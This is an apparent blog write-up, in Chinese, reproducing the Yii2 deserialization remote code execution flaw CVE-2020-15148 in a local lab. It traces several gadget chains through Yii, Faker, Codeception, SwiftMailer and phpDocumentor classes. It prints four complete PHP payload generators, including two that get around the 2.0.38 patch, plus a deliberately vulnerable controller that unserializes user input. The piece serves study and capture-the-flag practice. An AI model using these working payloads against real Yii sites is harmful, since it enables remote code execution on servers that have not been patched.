yii反序列化漏洞复现及利用

yii反序列化漏洞

Yii框架

Yii 是一个适用于开发 Web2.0 应用程序的高性能PHP 框架。

Yii 是一个通用的 Web 编程框架,即可以用于开发各种用 PHP 构建的 Web 应用。 因为基于组件的框架结构和设计精巧的缓存支持,它特别适合开发大型应用, 如门户网站、社区、内容管理系统(CMS)、 电子商务项目和 RESTful Web 服务等。

Yii 当前有两个主要版本:1.1 和 2.0。 1.1 版是上代的老版本,现在处于维护状态。 2.0 版是一个完全重写的版本,采用了最新的技术和协议,包括依赖包管理器 Composer、PHP 代码规范 PSR、命名空间、Traits(特质)等等。 2.0 版代表新一代框架,是未来几年中我们的主要开发版本。

Yii 2.0 还使用了 PHP 的最新特性, 例如命名空间 和Trait(特质)

漏洞描述

yii2.2.0.38之前的版本存在反序列化漏洞,程序在调用unserialize时,攻击者可以通过构造特定的恶意请求执行RCE,CVE编号是CVE-2020-15148.

2.0.38已修复该漏洞,官方的修复方法:

在yii\db\BatchQueryResult类增加了一个__wakeup()函数,函数内容为:当BatchQueryResult类被反序列化时直接报错,wakeup()方法在类被反序列化会自动调用,这样也就避免了反序列化的发生,避免了漏洞。

环境复现

本地使用phpstudy搭建,将Yii的demo下载下来:

https://github.com/yiisoft/yii2/releases/tag/2.0.37

yii反序列化漏洞复现及利用_第1张图片

修改/config/web.php里的cookieValidationKey为任何值,不然会报错:
image-20220405151034659

进入目录,执行 php yii serve

image-20220405151201210

进入http:localhost:8080

yii反序列化漏洞复现及利用_第2张图片

前置知识点

namespace:

PHP: 命名空间概述 - Manual

php中命名空间(namespace)的作用和使用_古语静水流深-CSDN博客

PHP命名空间(Namespace)的使用详解 - 酷越 - 博客园

call_user_func_array()

[Yii2.0 路由(Route)的实现原理 2.0 版本 ]

所谓路由是指URL中用于标识用于处理用户请求的module, controller, action的部分,一般情况下由 r 查询参数来指定。
如 http://www.digpage.com/index.php?r=post/view&id=100 ,表示这个请求将由PostController 的 actionView来处理。(主要首字母要大写)

__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。

__destruct():当对象被销毁时会自动调用。

__call():是在对象上下文中调用不可访问的方法时触发

由于是反序列化利用链,我们需要一个入口点,在controllers目录下创建一个Controller:

controllers/TestController.php:

url:http:localhost:8080/?r=test/test&data=xxx



namespace app\controllers;

class TestController extends \yii\web\Controller
{
    public function actionTest($data)
    {
        return unserialize(base64_decode($data));
    }
  
}

漏洞分析

漏洞触发点在\yii-2.0.37\vendor\yiisoft\yii2\db\BatchQueryResult.php文件中

/**
     * Destructor.
     */
    public function __destruct()
    {
        // make sure cursor is closed
        $this->reset();
    }

    /**
     * Resets the batch query.
     * This method will clean up the existing batch query so that a new batch query can be performed.
     */
    public function reset()
    {
        if ($this->_dataReader !== null) {
            $this->_dataReader->close();
        }
        $this->_dataReader = null;
        $this->_batch = null;
        $this->_value = null;
        $this->_key = null;
    }

__destruct()跟进reset(),继续跟进close(),发现close()里没有利用点。但是这里的 _dataRender是可控的,可以触发__call方法进行利用。

当一个对象调用不可访问的close方法或者类中没有close方法,即可触发 __call。全局搜索一下 __call方法,在\vendor\fzaninotto\faker\src\Faker\Generator.php中找到了合适的方法:

 /**
     * @param string $method
     * @param array $attributes
     *
     * @return mixed
     */
    public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }

这里的$methodclose函数,$attributes为空,因为close函数形参为空。继续跟进format方法

public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

发现了call_user_func_array()函数,看到了一丝希望。在这里解释一下call_user_func_array()函数:

call_user_func_array:调用回调函数,并把一个数组参数作为回调函数的参数

使用方法:

call_user_func_array(callable $callback, array $param_arr): mixed 
callback
    被调用的回调函数。
param_arr
    要被传入回调函数的数组,这个数组得是索引数组。

示例:


namespace Foobar;
class Foo {
    static public function test($name) {
        print "Hello {$name}!\n";
    }
}
// As of PHP 5.3.0
call_user_func_array(__NAMESPACE__ .'\Foo::test', array('Hannes'));
//输出:Hello Hannes

// As of PHP 5.3.0
call_user_func_array(array(__NAMESPACE__ .'\Foo', 'test'), array('Philip'));
//输出:Hello Philip
?>

继续跟进getFormmatter函数:

/**
     * @param string $formatter
     *
     * @return Callable
     */
    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

关注前半部分,发现$this->formatters是可控的,因此getFormmatter方法的返回值也是可控的,因此在call_user_func_array($this->getFormatter($formatter), $arguments);中,第一个参数可控,第二个参数为空。

这时候就需要一个执行类,类中的方法需要满足两个条件:

  1. 方法所需的参数为自己类中存在的参数
  2. 方法需要有命令执行的功能

参考了一些大师傅的思路,call_user_func函数很符合以上的方法,这里介绍一下call_user_func

call_user_func:把第一个参数作为回调函数调用,这里用call_user_func即可达到RCE的作用。

好了,找一下带有call_user_func的类:

构造正则

function \w*\(\)\n? *\{(.*\n)+ *call_user_func
image-20220405212253123

找到了两个适合的类方法run:

yii\rest\CreateAction::run(), $this->checkAccess, $this->id两个参数可控

public function run()
    {
        if ($this->checkAccess) {
            call_user_func($this->checkAccess, $this->id);
        }

      	...

        return $model;
    }

yii\rest\IndexAction::run(), $this->checkAccess, $this->id两个参数可控

public function run()
    {
        if ($this->checkAccess) {
            call_user_func($this->checkAccess, $this->id);
        }

      return $this->prepareDataProvider();
    }

好了,POP链到此结束。整理一下:

yii\db\BatchQueryResult::__destruct()->reset()->close()
↓↓↓
Fake\Generator::__call()->format()->call_user_func_array
↓↓↓
yii\rest\IndexAction::run()->call_user_func

构造POC:



namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct()
        {
            $this->checkAccess = 'phpinfo';
            $this->id = '1'; // rce
        }
    }
}

namespace Faker{
    use yii\rest\IndexAction;

    class Generator{
        protected $formatters;
        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(),'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader = new Generator();
        }
    }

}

namespace {
    use yii\db\BatchQueryResult;
    echo base64_encode(serialize(new BatchQueryResult()));
}

yii反序列化漏洞复现及利用_第3张图片

成功复现。

其他pop链

其实还可以找到其他的pop链,还是以BatchQueryResult类的__destruct作为起点。还是跟到$this->_dataReader->close();,但是这次不以__ __call为跳板,而是寻找确实存在close方法的一个类,而且这个类的close方法可以利用。经过寻找,找到了yii\web\DbSession这个类:

  public function close()
    {
        if ($this->getIsActive()) {
            // prepare writeCallback fields before session closes
            $this->fields = $this->composeFields();
            YII_DEBUG ? session_write_close() : @session_write_close();
        }
    }

跟进getIsActive(),发现无法利用,跟进$this->composeFields();:

protected function composeFields($id = null, $data = null)
    {
        $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
        if ($id !== null) {
            $fields['id'] = $id;
        }
        if ($data !== null) {
            $fields['data'] = $data;
        }
        return $fields;
    }

出现了call_user_func函数:$this->writeCallback ? call_user_func($this->writeCallback, $this),且$this->writeCallback可控,因此调回的回调函数可控。

因此这里可以调用前面那条链的run方法,实现RCE。

整理一下POP链:

yii\db\BatchQueryResult::__destruct()->reset()->close()
↓↓↓
yii\web\DbSession::close()->composeFields()->call_user_func()
↓↓↓
yii\rest\IndexAction::run()->call_user_func()

POC如下:



namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct()
        {
            $this->checkAccess = 'phpinfo';
            $this->id = '1'; // rce
        }
    }
}

namespace yii\web{
    use yii\rest\IndexAction;

    class DbSession{
        public $writeCallback;
        public function __construct()
        {
            $this->writeCallback = [new IndexAction(),'run'];
        }
    }
}

namespace yii\db{
    use yii\web\DbSession;

    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader = new DbSession();
        }
    }

}

namespace {
    use yii\db\BatchQueryResult;
    echo base64_encode(serialize(new BatchQueryResult()));
}

yii反序列化漏洞复现及利用_第4张图片

成功复现。

针对2.0.38版本

POC-1

yii2.0.38做了如下更新,借用feng师傅的图

yii反序列化漏洞复现及利用_第5张图片

增加了__wakeup(),在反序列化时直接抛出异常,因此以BatchQueryResult为起点的这条链在2.0.38里算是不行了。因此再继续复习学习一下大师傅们针对2.0.38挖掘的其他新链。

类比上一条链的思路,yii2只是限制了batchQueryResult类不能进行反序列化,但是后面的__cal以及之后的链都是完好无损的,因此想找一条新的链,最快的方式就是再找一个存在__destruct这样的利用点,然后正好类中的一个属性调用了一个方法,而且这个属性我们可控,那么就是一条新链了。
全局找一下__destruct,经过排查,发现RunProcess类的__destruct可以利用:

public function __destruct()
{
	$this->stopProcess();	
}

继续跟进:

    public function stopProcess()
    {
        foreach (array_reverse($this->processes) as $process) {
            /** @var $process Process  **/
            if (!$process->isRunning()) {
                continue;
            }
            $this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
            $process->stop();
        }
        $this->processes = [];
    }

因为 t h i s − > p r o c e s s e s 可 控 , 所 以 this->processes可控,所以 this>processesprocess可控。这里$process->isRunning(),调用isRunning方法,因此又可以触发__call,然后继续反序列化。

构造POC:



namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct()
        {
            $this->checkAccess = 'phpinfo';
            $this->id = '1'; // rce
        }
    }
}

namespace Faker{
    use yii\rest\IndexAction;

    class Generator{
        protected $formatters;
        public function __construct()
        {
            $this->formatters['isRunning'] = [new IndexAction(),'run'];
        }
    }
}

namespace Codeception\Extension{
    use Faker\Generator;

    class RunProcess{
        private $processes = [];
        public function __construct()
        {
            $this->processes[] = new Generator();
        }
    }

}

namespace {
    use Codeception\Extension\RunProcess;
    echo base64_encode(serialize(new RunProcess()));
}

yii反序列化漏洞复现及利用_第6张图片

复现成功。

POC-2

还是看__destruct,发现\vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php中的Swift_KeyCache_DiskKeyCache类可以利用:

public function __destruct()
    {
        foreach ($this->keys as $nsKey => $null) {
            $this->clearAll($nsKey);
        }
    }

跟进clearAll()

public function clearAll($nsKey)
{
    if (array_key_exists($nsKey, $this->keys)) {
        foreach ($this->keys[$nsKey] as $itemKey => $null) {
            $this->clearKey($nsKey, $itemKey);
        }
        if (is_dir($this->path.'/'.$nsKey)) {
            rmdir($this->path.'/'.$nsKey);
        }
        unset($this->keys[$nsKey]);
    }
}

继续跟进clearKey发现没有利用点,触发不了__call,不过看到了$this->path.'/'.$nsKey,存在字符串拼接问题,而$this->path$nsKey都是我们可控的,因此可以触发__toString。全局搜索一波,可以找到很多:

可以找到好多可以利用的__toString,我这里找到了vendor\phpDocumentor\Reflection\DocBlock\Tags\Covers.php里的

public function __toString() : string
    {
        return $this->refers . ($this->description ? ' ' . $this->description->render() : '');
    }

看到了$this->description->render(),又可以利用__call了,于是第二条POP链又成了。

构造POC-2:



namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'phpinfo';
            $this->id = '1';
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['render'] = [new IndexAction(), 'run'];
        }
    }
}
namespace phpDocumentor\Reflection\DocBlock\Tags{

    use Faker\Generator;

    class Covers
    {
        protected $description;
        public function __construct(){
            $this->description=new Generator();
        }
    }
}

namespace{
    
    use phpDocumentor\Reflection\DocBlock\Tags\Covers;
    class Swift_KeyCache_DiskKeyCache
    {
        private $keys = [];
        private $path;
        public function __construct(){
            $this->path=new Covers();
            $this->keys=array(
                'hello'=>'world'
            );
        }
    }

    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}

yii反序列化漏洞复现及利用_第7张图片

复现成功。

总结

在ctfshow做题时遇到了yii反序列化,写这篇文章来记录下yii反序列化漏洞的利用以及复现,以后或许可以用得到,主要就是__destruct,__call,__toString等魔术方法的灵活使用和call_user_func、call_user_func_array的利用。

你可能感兴趣的:(web安全,php反序列化,php,网络安全)